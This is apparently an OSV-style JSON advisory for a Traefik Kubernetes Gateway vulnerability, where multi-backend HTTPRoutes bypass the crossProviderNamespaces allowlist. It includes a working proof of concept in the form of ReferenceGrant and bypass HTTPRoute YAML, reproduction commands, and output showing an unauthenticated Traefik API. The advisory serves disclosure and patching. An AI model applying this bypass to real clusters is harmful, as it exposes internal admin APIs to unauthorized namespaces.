{"id":"DHI-zb2o-cnx6-ykno-zhtp","summary":"## Summary","details":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the `crossProviderNamespaces` allowlist. For `HTTPRoute` rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target `backendRef.namespace` instead of the route's own namespace. As a result, an `HTTPRoute` created in a namespace that is not allow-listed can reference a cross-provider `TraefikService` such as `api@internal`, `dashboard@internal` or `rest@internal` by pointing `backendRef.namespace` at an allow-listed namespace covered by a Gateway API `ReferenceGrant`, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted `HTTPRoute` and a matching `ReferenceGrant` from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.6.21\n- https://github.com/traefik/traefik/releases/tag/v3.7.5\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Summary\r\n\r\nThe Kubernetes Gateway provider's `crossProviderNamespaces` option is documented as restricting which Gateway API route namespaces may declare `TraefikService` backendRefs.\r\n\r\nFor `HTTPRoute` rules with multiple backendRefs, Traefik checks this allowlist against `backendRef.namespace` instead of the `HTTPRoute` namespace. A route in a namespace that is not allow-listed can therefore add `api@internal` to the generated WRR service by setting `backendRef.namespace` to an allow-listed namespace, as long as a normal Gateway API `ReferenceGrant` permits that cross-namespace reference.\r\n\r\nVerified affected versions:\r\n\r\n- `v3.7.1` (`fa49e2bcad7ffd8a80accdf1fae1ae480913d93d`)\r\n- current source/master tested by me (`29406d42898547f1ffabd904f66af06c212740cf`)\r\n\r\n# Expected Behavior\r\n\r\nWith:\r\n\r\n```yaml\r\nproviders:\r\n  kubernetesGateway:\r\n    crossProviderNamespaces:\r\n      - trusted\r\n```\r\n\r\nonly Gateway API routes whose own namespace is `trusted` should be allowed to declare `TraefikService` backendRefs such as `api@internal`, `dashboard@internal`, or `rest@internal`.\r\n\r\nAn `HTTPRoute` in namespace `attacker` should not be able to expose an internal Traefik service by setting:\r\n\r\n```yaml\r\nbackendRefs:\r\n  - group: traefik.io\r\n    kind: TraefikService\r\n    name: api@internal\r\n    namespace: trusted\r\n```\r\n\r\n# Actual Behavior\r\n\r\nFor an `HTTPRoute` in namespace `attacker` with two backendRefs, Traefik generates a WRR service containing:\r\n\r\n```text\r\n[api@internal attacker-whoami-http-80]\r\n```\r\n\r\neven though `crossProviderNamespaces` only allows `trusted`.\r\n\r\n# Threat Model\r\n\r\nThis does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's `crossProviderNamespaces` policy: namespaces outside the allowlist should not be able to declare cross-provider `TraefikService` backendRefs.\r\n\r\nThe precondition is a Gateway API environment where an untrusted or less-trusted namespace can create `HTTPRoute` objects accepted by a Gateway, and a namespace in the `crossProviderNamespaces` allowlist has a matching `ReferenceGrant`. `ReferenceGrant` should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.\r\n\r\nA Gateway API `ReferenceGrant` should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's `crossProviderNamespaces` option is an additional Traefik-specific security control for cross-provider `TraefikService` backendRefs, especially `@internal` services. Therefore a `ReferenceGrant` from `trusted` must not make a route in `attacker` equivalent to a route whose own namespace is `trusted`.\r\n\r\n# Required Attacker Capability\r\n\r\nRequired:\r\n\r\n- create or modify an `HTTPRoute` in namespace `attacker`;\r\n- have that `HTTPRoute` accepted by a `Gateway`;\r\n- rely on an existing `ReferenceGrant` from an allow-listed namespace, or on a delegated namespace setup where such `ReferenceGrant` objects are managed separately from Traefik's provider configuration.\r\n\r\nNot required:\r\n\r\n- modifying Traefik static configuration;\r\n- modifying the Traefik deployment or Traefik RBAC;\r\n- modifying resources in the Traefik deployment namespace;\r\n- modifying `providers.kubernetesGateway.crossProviderNamespaces`;\r\n- enabling `api.insecure`;\r\n- exposing the dashboard/API entrypoint directly.\r\n\r\n# Documentation Evidence\r\n\r\nThe documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in `backendRef.namespace`.\r\n\r\nThe Kubernetes Gateway provider option is documented as:\r\n\r\n```text\r\nList of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.\r\n```\r\n\r\nThe migration notes also describe the security reason for the option:\r\n\r\n```text\r\nthose references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.\r\n```\r\n\r\nand the documented behavior is:\r\n\r\n```text\r\n[\"ns-a\"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.\r\n```\r\n\r\nThe provider struct uses the same route-namespace wording:\r\n\r\n```go\r\nCrossProviderNamespaces []string `description:\"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references.\" ...`\r\n```\r\n\r\nThe reproduced route kind is `HTTPRoute`; no Gateway API experimental-channel resources are required for the PoC.\r\n\r\n# PoC\r\n\r\nI validated the issue end-to-end in a local `kind` cluster with Traefik `v3.7.1`, real Gateway API CRDs, real Kubernetes `Gateway`, `HTTPRoute`, and `ReferenceGrant` resources, and HTTP requests to Traefik's normal `web` entrypoint.\r\n\r\nThe complete local reproducer I used is a self-contained `kind` PoC with these files:\r\n\r\n```text\r\nexternal-repro-kind/kind-config.yaml\r\nexternal-repro-kind/traefik-v371.yaml\r\nexternal-repro-kind/gateway-exploit.yaml\r\nexternal-repro-kind/run-kind-repro.sh\r\n```\r\n\r\nRun command:\r\n\r\n```bash\r\n./external-repro-kind/run-kind-repro.sh\r\n```\r\n\r\nThe script creates a local `kind` cluster, loads local `traefik:v3.7.1` and `traefik/whoami:v1.11.0` images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit `curl` requests to `127.0.0.1:18080`, prints route status, and deletes the cluster on exit.\r\n\r\nTraefik was started with:\r\n\r\n```text\r\n--api=true\r\n--api.dashboard=true\r\n--api.insecure=false\r\n--providers.kubernetesgateway=true\r\n--providers.kubernetesgateway.crossprovidernamespaces=trusted\r\n```\r\n\r\nThe local host entrypoint was:\r\n\r\n```text\r\n127.0.0.1:18080 -\u003e kind NodePort -\u003e Traefik web entrypoint\r\n```\r\n\r\nThe target namespace has a normal Gateway API `ReferenceGrant`:\r\n\r\n```yaml\r\napiVersion: gateway.networking.k8s.io/v1beta1\r\nkind: ReferenceGrant\r\nmetadata:\r\n  name: allow-attacker-to-traefikservice\r\n  namespace: trusted\r\nspec:\r\n  from:\r\n    - group: gateway.networking.k8s.io\r\n      kind: HTTPRoute\r\n      namespace: attacker\r\n  to:\r\n    - group: traefik.io\r\n      kind: TraefikService\r\n```\r\n\r\nPositive control:\r\n\r\n```yaml\r\napiVersion: gateway.networking.k8s.io/v1\r\nkind: HTTPRoute\r\nmetadata:\r\n  name: single-backend-control\r\n  namespace: attacker\r\nspec:\r\n  parentRefs:\r\n    - name: shared-gateway\r\n      namespace: default\r\n  hostnames:\r\n    - control.localhost\r\n  rules:\r\n    - matches:\r\n        - path:\r\n            type: PathPrefix\r\n            value: /api\r\n      backendRefs:\r\n        - group: traefik.io\r\n          kind: TraefikService\r\n          name: api@internal\r\n          namespace: trusted\r\n          port: 80\r\n          weight: 1\r\n```\r\n\r\nBypass:\r\n\r\n```yaml\r\napiVersion: gateway.networking.k8s.io/v1\r\nkind: HTTPRoute\r\nmetadata:\r\n  name: mixed-backend-bypass\r\n  namespace: attacker\r\nspec:\r\n  parentRefs:\r\n    - name: shared-gateway\r\n      namespace: default\r\n  hostnames:\r\n    - exploit.localhost\r\n  rules:\r\n    - matches:\r\n        - path:\r\n            type: PathPrefix\r\n            value: /api\r\n      backendRefs:\r\n        - group: traefik.io\r\n          kind: TraefikService\r\n          name: api@internal\r\n          namespace: trusted\r\n          port: 80\r\n          weight: 1000000\r\n        - group: \"\"\r\n          kind: Service\r\n          name: whoami\r\n          port: 80\r\n          weight: 1\r\n```\r\n\r\nObserved external result:\r\n\r\n```text\r\ncontrol: single-backend route from attacker namespace should not expose api@internal\r\ncontrol status: 404\r\n404 page not found\r\n\r\nexploit: mixed backendRef route from attacker namespace exposes api@internal\r\nexploit returned Traefik API JSON\r\napi@internal status: enabled\r\nweighted members:\r\napi@internal              1000000\r\nattacker-whoami-http-80  1\r\n```\r\n\r\nThe `HTTPRoute` status shows the boundary difference:\r\n\r\n```text\r\nsingle-backend-control:\r\n  Accepted=True\r\n  ResolvedRefs=False\r\n  Reason=RefNotPermitted\r\n  Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace \"attacker\" is not in crossProviderNamespaces\r\n\r\nmixed-backend-bypass:\r\n  Accepted=True\r\n  ResolvedRefs=True\r\n```\r\n\r\nThis is the externally visible security failure: the same route namespace and same `api@internal` backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.\r\n\r\n## Minimized Root Cause Test\r\n\r\nI also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external `kind` PoC above is the primary impact reproduction.\r\n\r\nFiles:\r\n\r\n- `probe/crossprovider_namespace_probe_test.go`\r\n- `probe/cross_provider_namespace_probe.yml`\r\n- `probe/cross_provider_namespace_single_control.yml`\r\n\r\nReproduction:\r\n\r\n```bash\r\ncp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/\r\ncp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/\r\ngo test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -v\r\n```\r\n\r\nObserved output on both tested versions:\r\n\r\n```text\r\nMessages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]\r\n```\r\n\r\nThe reproducer also includes a positive control:\r\n\r\n```text\r\n=== RUN   TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\r\n--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl\r\n```\r\n\r\nThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.\r\n\r\n# Root Cause\r\n\r\nThe single-internal-service path checks the route namespace:\r\n\r\n```go\r\ncase len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):\r\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {\r\n```\r\n\r\nThe mixed/multiple backendRef path calls `loadService`. In `loadService`, `namespace` is overwritten from `backendRef.Namespace`, then passed to `loadHTTPBackendRef`:\r\n\r\n```go\r\nnamespace := route.Namespace\r\nif backendRef.Namespace != nil && *backendRef.Namespace != \"\" {\r\n    namespace = string(*backendRef.Namespace)\r\n}\r\n...\r\nname, service, err := p.loadHTTPBackendRef(namespace, backendRef)\r\n```\r\n\r\n`loadHTTPBackendRef` then checks `crossProviderNamespaces` against this target namespace:\r\n\r\n```go\r\nif *backendRef.Kind == \"TraefikService\" && strings.Contains(string(backendRef.Name), \"@\") {\r\n    if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {\r\n```\r\n\r\nThis lets a disallowed route namespace choose an allow-listed target namespace and pass the check.\r\n\r\n# Impact\r\n\r\nAn untrusted route namespace may expose internal Traefik services through Gateway `HTTPRoute` despite being excluded from `crossProviderNamespaces`.\r\n\r\nPotentially exposed internal services include:\r\n\r\n- `api@internal`\r\n- `dashboard@internal`\r\n- `rest@internal`\r\n\r\nThis is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway `ReferenceGrant` delegation is used, but the observed behavior violates the documented security boundary of `crossProviderNamespaces`.\r\n\r\nI also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:\r\n\r\n```text\r\nHost: dashboard.localhost -\u003e dashboard entrypoint /api/rawdata =\u003e 401 Unauthorized\r\nHost: dashboard.localhost -\u003e web entrypoint /api/rawdata =\u003e 404 Not Found\r\n```\r\n\r\nWhen a router on the normal web entrypoint references `api@internal`, the same API endpoint becomes unauthenticated:\r\n\r\n```text\r\nHost: impact-crossprovider.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\r\nservice: api@internal\r\n```\r\n\r\nA WRR service containing `api@internal` also exposes the API:\r\n\r\n```text\r\nHost: impact-crossprovider-wrr.localhost -\u003e web entrypoint /api/rawdata =\u003e 200 OK\r\nweighted services:\r\napi@internal 1000\r\necho-svc      1\r\n```\r\n\r\nThis is the security consequence of the provider bug: a namespace that should be blocked by `crossProviderNamespaces` can make Traefik generate a service graph containing `api@internal` on a route it controls.\r\n\r\n# Suggested Fix\r\n\r\nFor Gateway `HTTPRoute` `TraefikService` cross-provider backendRefs, validate `crossProviderNamespaces` against `route.Namespace` in all code paths, including mixed/WRR backendRefs.\n\n\u003c/details\u003e\n","modified":"2026-11-16T02:36:23.717453042Z","published":"2026-11-11T18:51:16Z","upstream":["CVE-2026-54761"],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-zb2o-cnx6-ykno-zhtp"},{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-3g6v-2r68-prfc"},{"type":"ADVISORY","url":"https://security.alpinelinux.org/vuln/CVE-2026-54761"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3g6v-2r68-prfc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54761"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.7.5"},{"type":"WEB","url":"https://github.com/traefik/traefik/releases/tag/v3.6.21"},{"type":"ADVISORY","url":"https://pkg.go.dev/vuln/GO-2026-5083"}],"affected":[{"package":{"name":"traefik-dev","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-dev"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-zb2o-cnx6-ykno-zhtp.json"}},{"package":{"name":"traefik-fips-dev","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-fips-dev"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-zb2o-cnx6-ykno-zhtp.json"}},{"package":{"name":"traefik-fips","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik-fips"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-zb2o-cnx6-ykno-zhtp.json"}},{"package":{"name":"traefik","ecosystem":"Docker Hardened Images:Alpine:3.23","purl":"pkg:apk/dhi/traefik"},"versions":["3.6.17-r0","3.6.17-r1","3.6.17-r2","3.6.18-r0","3.6.19-r0","3.6.20-r0","3.6.21-r0","3.6.21-r1","3.7.1-r0","3.7.1-r1","3.7.1-r2","3.7.2-r0","3.7.3-r0","3.7.4-r0","3.7.5-r0","3.7.5-r1"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-zb2o-cnx6-ykno-zhtp.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"}]}